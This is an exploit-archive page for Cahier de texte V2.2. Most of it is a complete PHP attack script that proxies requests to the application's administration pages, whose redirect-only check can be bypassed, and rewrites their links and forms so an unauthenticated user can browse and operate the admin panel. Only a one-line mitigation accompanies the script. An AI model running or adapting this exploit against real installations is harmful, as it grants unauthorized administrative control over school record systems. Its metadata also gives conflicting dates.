Cahier de texte V2.2 Exploit

vendor:

Cahier de texte

by:

DarkFig

7,5

CVSS

HIGH

Bypass general access restriction

None

CWE

Product Name: Cahier de texte

Affected Version From: V2.2

Affected Version To: V2.2

Patch Exists: NO

Related CWE: None

CPE: None

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2017

Cahier de texte V2.2 Exploit

This exploit allows an attacker to bypass the general access restriction of Cahier de texte V2.2 by exploiting a vulnerability in the code. The vulnerable code is a PHP script that checks if the user is an administrator, and if not, redirects them to the index page. The exploit uses a socket connection to send a request to the server, bypassing the access restriction.

Mitigation:

Ensure that the access restriction code is secure and cannot be bypassed.

Source

Exploit-DB raw data:

<?
/*

  Informations
  ============
  Affected.scr..: Cahier de texte V2.2 (last version)
  Poc.ID........: 17061224
  Type..........: Bypass general access restriction
  Risk.level....: High
  Conditions....: None
  Src.download..: www.etab.ac-caen.fr/bsauveur/cahier_de_texte/
  Poc.link......: acid-root.new.fr/poc/17061224.txt
  Credits.......: DarkFig

  Vulnerable code
  ===============
  <?php session_start();
  if (isset($_SESSION['nom_prof'])) { 
  if ($_SESSION['nom_prof']<>'Administrateur') { header("Location: ../index.php");}
  ;} else { header("Location: ../index.php");}?>
  ...

*/

if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';

$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);

function headers()
{
	print("<html>
<head>
 <title>Cahier de texte V2.2 Exploit</title>
</head>
<body>
 <form method='get' action='".$_SERVER['PHP_SELF']."'>
  <input type='text' name='host' value='host'>
  <input type='text' name='path' value='path'>
  <input type='text' name='prox' value='proxyhost:proxyport'>
  <input type='submit' value='Exploit'>
 </form>
</body>
</html>");
	exit(0);
}

function sockxp($host,$path,$prox,$wanted)
{
	$hope = !empty($prox) ? $prox : $host.':80';
	preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
	$hosh = $hosta[1];
	$hosp = $hosta[2];
	
	$recv = '';
	$meth = $_SERVER['REQUEST_METHOD'];
	if(empty($hosh) || empty($hosp)) exit(1);

	if(!$sock = fsockopen($hosh,$hosp)) exit(1);
	$dat  = $meth." http://".$host;
	
	if($meth === "POST") $dat .= "/".str_replace("administration//","",$wanted);
	else $dat .= $path.$wanted;
	
	$dat .= " HTTP/1.1\r\n";
	$dat .= "Host: $host\r\n";
	$dat .= "Connection: Close\r\n";
	
	if($meth === "POST") {
		$postdata = get_postdata();
		$dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
		$dat .= $postdata."\r\n\r\n";
	} else {
		$dat .= "\r\n";
	}

	fputs($sock,$dat);
	while(!feof($sock)) $recv .= fgets($sock);
	fclose($sock);

	return html_replace($recv);
}

function html_replace($htmlc)
{
	global $host,$path,$prox;
	$iniv = $_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
	$newc = str_replace("action=\"","action=\"$iniv",$htmlc);
	$newc = str_replace("=\"..","=\"http://${host}${path}administration/..",$newc);
	$newc = str_replace("a href=\"","a href=\"$iniv",$newc);
	$newc = str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
	$newc = explode("\n",$newc);
	for($i=1;$i<count($newc);$i++) {
		if(!preg_match("/(\S*):/",$newc[$i])) $v=1;
		if($v) $nnewc .= $newc[$i]."\n";
	}
	return $nnewc;
}

function get_postdata()
{
	$postdata = '';
	foreach($_POST as $key => $value) {
		$postdata .= $key."=".$value."&";
	}
	return $postdata;
}
?>

# milw0rm.com [2006-12-26]